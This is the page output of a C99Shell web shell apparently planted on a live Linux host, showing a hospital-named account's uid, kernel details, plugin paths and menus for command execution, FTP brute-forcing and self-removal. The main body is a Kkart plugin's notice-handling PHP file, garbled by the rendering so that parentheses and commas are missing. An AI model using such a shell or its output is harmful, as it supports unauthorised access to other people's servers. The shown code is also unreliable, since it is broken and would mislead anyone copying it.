!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/includes/   drwxr-xr-x
Free 290.21 GB of 429.69 GB (67.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     kkart-notice-functions.php (7.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Kkart Message Functions
 *
 * Functions for error/message handling and display.
 *
 * @package Kkart\Functions
 * @version 2.1.0
 */

if ( ! defined'ABSPATH' ) ) {
    exit;
}

/**
 * Get the count of notices added, either for all notices (default) or for one.
 * particular notice type specified by $notice_type.
 *
 * @since  2.1
 * @param  string $notice_type Optional. The name of the notice type - either error, success or notice.
 * @return int
 */
function kkart_notice_count$notice_type '' ) {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.3' );
        return;
    }

    
$notice_count 0;
    
$all_notices  KKART()->session->get'kkart_notices', array() );

    if ( isset( 
$all_notices$notice_type ] ) ) {

        
$notice_count count$all_notices$notice_type ] );

    } elseif ( empty( 
$notice_type ) ) {

        foreach ( 
$all_notices as $notices ) {
            
$notice_count += count$notices );
        }
    }

    return 
$notice_count;
}

/**
 * Check if a notice has already been added.
 *
 * @since  2.1
 * @param  string $message The text to display in the notice.
 * @param  string $notice_type Optional. The name of the notice type - either error, success or notice.
 * @return bool
 */
function kkart_has_notice$message$notice_type 'success' ) {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.3' );
        return 
false;
    }

    
$notices KKART()->session->get'kkart_notices', array() );
    
$notices = isset( $notices$notice_type ] ) ? $notices$notice_type ] : array();
    return 
array_search$messagewp_list_pluck$notices'notice' ), true ) !== false;
}

/**
 * Add and store a notice.
 *
 * @since 2.1
 * @version 3.9.0
 * @param string $message     The text to display in the notice.
 * @param string $notice_type Optional. The name of the notice type - either error, success or notice.
 * @param array  $data        Optional notice data.
 */
function kkart_add_notice$message$notice_type 'success'$data = array() ) {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.3' );
        return;
    }

    
$notices KKART()->session->get'kkart_notices', array() );

    
// Backward compatibility.
    
if ( 'success' === $notice_type ) {
        
$message apply_filters'kkart_add_message'$message );
    }

    
$message apply_filters'kkart_add_' $notice_type$message );

    if ( ! empty( 
$message ) ) {
        
$notices$notice_type ][] = array(
            
'notice' => $message,
            
'data'   => $data,
        );
    }

    
KKART()->session->set'kkart_notices'$notices );
}

/**
 * Set all notices at once.
 *
 * @since 2.6.0
 * @param array[] $notices Array of notices.
 */
function kkart_set_notices$notices ) {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.6' );
        return;
    }

    
KKART()->session->set'kkart_notices'$notices );
}

/**
 * Unset all notices.
 *
 * @since 2.1
 */
function kkart_clear_notices() {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.3' );
        return;
    }
    
KKART()->session->set'kkart_notices'null );
}

/**
 * Prints messages and errors which are stored in the session, then clears them.
 *
 * @since 2.1
 * @param bool $return true to return rather than echo. @since 3.5.0.
 * @return string|null
 */
function kkart_print_notices$return false ) {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.3' );
        return;
    }

    
$all_notices  KKART()->session->get'kkart_notices', array() );
    
$notice_types apply_filters'kkart_notice_types', array( 'error''success''notice' ) );

    
// Buffer output.
    
ob_start();

    foreach ( 
$notice_types as $notice_type ) {
        if ( 
kkart_notice_count$notice_type ) > ) {
            
$messages = array();

            foreach ( 
$all_notices$notice_type ] as $notice ) {
                
$messages[] = isset( $notice['notice'] ) ? $notice['notice'] : $notice;
            }

            
kkart_get_template(
                
"notices/{$notice_type}.php",
                array(
                    
'messages' => array_filter$messages ), // @deprecated 3.9.0
                    
'notices'  => array_filter$all_notices$notice_type ] ),
                )
            );
        }
    }

    
kkart_clear_notices();

    
$notices kkart_kses_noticeob_get_clean() );

    if ( 
$return ) {
        return 
$notices;
    }

    echo 
$notices// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}

/**
 * Print a single notice immediately.
 *
 * @since 2.1
 * @version 3.9.0
 * @param string $message The text to display in the notice.
 * @param string $notice_type Optional. The singular name of the notice type - either error, success or notice.
 * @param array  $data        Optional notice data. @since 3.9.0.
 */
function kkart_print_notice$message$notice_type 'success'$data = array() ) {
    if ( 
'success' === $notice_type ) {
        
$message apply_filters'kkart_add_message'$message );
    }

    
$message apply_filters'kkart_add_' $notice_type$message );

    
kkart_get_template(
        
"notices/{$notice_type}.php",
        array(
            
'messages' => array( $message ), // @deprecated 3.9.0
            
'notices'  => array(
                array(
                    
'notice' => $message,
                    
'data'   => $data,
                ),
            ),
        )
    );
}

/**
 * Returns all queued notices, optionally filtered by a notice type.
 *
 * @since  2.1
 * @version 3.9.0
 * @param  string $notice_type Optional. The singular name of the notice type - either error, success or notice.
 * @return array[]
 */
function kkart_get_notices$notice_type '' ) {
    if ( ! 
did_action'kkart_init' ) ) {
        
kkart_doing_it_wrong__FUNCTION____'This function should not be called before kkart_init.''kkart' ), '2.3' );
        return;
    }

    
$all_notices KKART()->session->get'kkart_notices', array() );

    if ( empty( 
$notice_type ) ) {
        
$notices $all_notices;
    } elseif ( isset( 
$all_notices$notice_type ] ) ) {
        
$notices $all_notices$notice_type ];
    } else {
        
$notices = array();
    }

    return 
$notices;
}

/**
 * Add notices for WP Errors.
 *
 * @param WP_Error $errors Errors.
 */
function kkart_add_wp_error_notices$errors ) {
    if ( 
is_wp_error$errors ) && $errors->get_error_messages() ) {
        foreach ( 
$errors->get_error_messages() as $error ) {
            
kkart_add_notice$error'error' );
        }
    }
}

/**
 * Filters out the same tags as wp_kses_post, but allows tabindex for <a> element.
 *
 * @since 3.5.0
 * @param string $message Content to filter through kses.
 * @return string
 */
function kkart_kses_notice$message ) {
    
$allowed_tags array_replace_recursive(
        
wp_kses_allowed_html'post' ),
        array(
            
'a' => array(
                
'tabindex' => true,
            ),
        )
    );

    
/**
     * Kses notice allowed tags.
     *
     * @since 3.9.0
     * @param array[]|string $allowed_tags An array of allowed HTML elements and attributes, or a context name such as 'post'.
     */
    
return wp_kses$messageapply_filters'kkart_kses_notice_allowed_tags'$allowed_tags ) );
}

/**
 * Get notice data attribute.
 *
 * @since 3.9.0
 * @param array $notice Notice data.
 * @return string
 */
function kkart_get_notice_data_attr$notice ) {
    if ( empty( 
$notice['data'] ) ) {
        return;
    }

    
$attr '';

    foreach ( 
$notice['data'] as $key => $value ) {
        
$attr .= sprintf(
            
' data-%1$s="%2$s"',
            
sanitize_title$key ),
            
esc_attr$value )
        );
    }

    return 
$attr;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0977 ]--